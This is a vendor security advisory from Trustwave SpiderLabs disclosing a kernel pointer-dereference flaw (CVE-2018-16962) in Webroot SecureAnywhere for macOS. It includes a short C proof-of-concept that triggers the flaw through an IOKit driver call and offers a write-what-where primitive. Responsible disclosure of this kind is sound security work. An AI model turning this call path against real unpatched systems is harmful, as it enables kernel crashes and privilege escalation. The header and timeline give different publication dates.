Trustwave SpiderLabs Security Advisory TWSL2018-009:
Arbitrary pointer dereference vulnerability in Webroot SecureAnywhere

Published: 09/04/2018 
Version: 1.0

Vendor: Webroot (https://www.webroot.com/)
Product: SecureAnywhere
Version affected: <9.0.8.34

Product description:
Webroot delivers multi-vector protection for endpoints and networks and threat intelligence
services to protect businesses and individuals in a connected world. Webroot SecureAnywhere
Antivirus and Internet Security suites help protect against viruses, rootkits, keyloggers
and other harmful programs.

Finding 1: Arbitrary pointer dereference and potential overwrite
Credit: Neil Kettle of Trustwave
CVE: CVE-2018-16962 

A user-controllable pointer dereference exists in the kernel driver of the Webroot
SecureAnywhere solution for macOS the root cause of which is an arbitrary user-supplied
pointer being read from and potentially written too. As such, the issue arms an attacker
with a write-what-where kernel gadget with the caveat that the original value of the memory
referenced by the pointer must be equal to (int) -1.

Example:
The following Proof of Concept (PoC) executes the vulnerable code path and will result
in a page fault thereby panic'ing the kernel:

## secureanywhere-write.c

  service = IOServiceGetMatchingService (kIOMasterPortDefault,
                                         IOServiceMatching("com_webroot_driver_SystemShield"));
  if (!service)
    {
      fprintf (stderr, "* IOServiceGetMatchingService failed, running?\n");
      return (EXIT_FAILURE);
    }

  secure_port = (io_connect_t) 0;
  kr = IOServiceOpen (service, mach_task_self (), 0, &secure_port);
  IOObjectRelease (service);

  if (kr != kIOReturnSuccess)
    {
      fprintf (stderr, "* IOServiceOpen failed\n");
      return (EXIT_FAILURE);
    }

  buf[1] = 0x0BADC0DE0BADC0DE; // write this
  buf[0] = 0xDEADBEEFDEADBEEF; // here, if *(uint32_t *) buf[0] = -1;
  kr = IOConnectCallScalarMethod (secure_port, 2, buf, 2, NULL, NULL);


Remediation Steps:
Ensure automatic updates are enabled for MacOS agent installs. Those who prefer to manually upgrade
should install version 9.0.8.34 or the latest stable release.


Revision History:
06/29/2018 - Vulnerability disclosed to vendor
07/24/2018 - Patch released by vendor
09/13/2018 - Advisory published


References
1. http://answers.webroot.com/Webroot/ukp.aspx?pid=10&app=vw&vw=1&login=1&json=1&solutionid=2022


About Trustwave:
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management. Trustwave is headquartered in Chicago, with customers in 96 
countries. For more information about Trustwave, visit 
https://www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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